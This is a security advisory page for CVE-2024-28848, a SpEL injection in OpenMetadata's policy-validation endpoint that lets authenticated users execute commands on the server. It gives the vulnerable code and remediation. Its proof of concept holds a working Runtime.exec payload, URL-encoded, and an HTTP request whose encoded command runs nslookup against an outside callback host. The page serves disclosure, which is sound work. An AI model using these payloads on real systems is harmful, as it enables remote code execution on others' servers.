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GHSA-5xv3-fm7g-865r

Опубликовано: 24 апр. 2024
Источник: github
Github: Прошло ревью
CVSS3: 8.8

Описание

OpenMetadata vulnerable to a SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)

SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

The ‎CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.

Snippet from PolicyResource.java

@GET @Path("/validation/condition/{expression}") @Operation( operationId = "validateCondition", summary = "Validate a given condition", description = "Validate a given condition expression used in authoring rules.", responses = { @ApiResponse(responseCode = "204", description = "No value is returned"), @ApiResponse(responseCode = "400", description = "Invalid expression") }) public void validateCondition( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string")) @PathParam("expression") String expression) { CompiledRule.validateExpression(expression, Boolean.class); }
public static <T> void validateExpression(String condition, Class<T> clz) { if (condition == null) { return; } Expression expression = parseExpression(condition); RuleEvaluator ruleEvaluator = new RuleEvaluator(); StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator); try { expression.getValue(evaluationContext, clz); } catch (Exception exception) { // Remove unnecessary class details in the exception message String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", ""); throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message)); } }

In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode touch /tmp/pwned in Base64 => dG91Y2ggL3RtcC9wd25lZA==
    • SpEL expression to run system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
    • Encode the payload using URL encoding:
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
  • Send the payload using a valid JWT token:
GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2 Host: sandbox.open-metadata.org Authorization: Bearer <non-admin JWT>
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution by a registered and authenticated user.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Ссылки

Пакеты

Наименование

org.open-metadata:openmetadata-service

maven
Затронутые версииВерсия исправления

< 1.2.4

1.2.4

EPSS

Процентиль: 99%
0.76241
Высокий

8.8 High

CVSS3

CVE ID

CVE-2024-28848

Дефекты

CWE-94

Связанные уязвимости

nvd логотип

CVE-2024-28848

CVSS3: 8.8
nvd
почти 2 года назад

OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `‎CompiledRule::validateExpression` method evaluates an SpEL expression using an `StandardEvaluationContext`, allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/<expression>` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system. In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution. This vulnerability was discovered with the help of CodeQL's E

fstec логотип

BDU:2024-03259

CVSS3: 8.8
fstec
почти 2 года назад

Уязвимость метода ‎CompiledRule::validateExpression (/api/v1/policies/validation/condition/) платформы для управления метаданными OpenMetadata, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 99%
0.76241
Высокий

8.8 High

CVSS3

CVE ID

CVE-2024-28848

Дефекты

CWE-94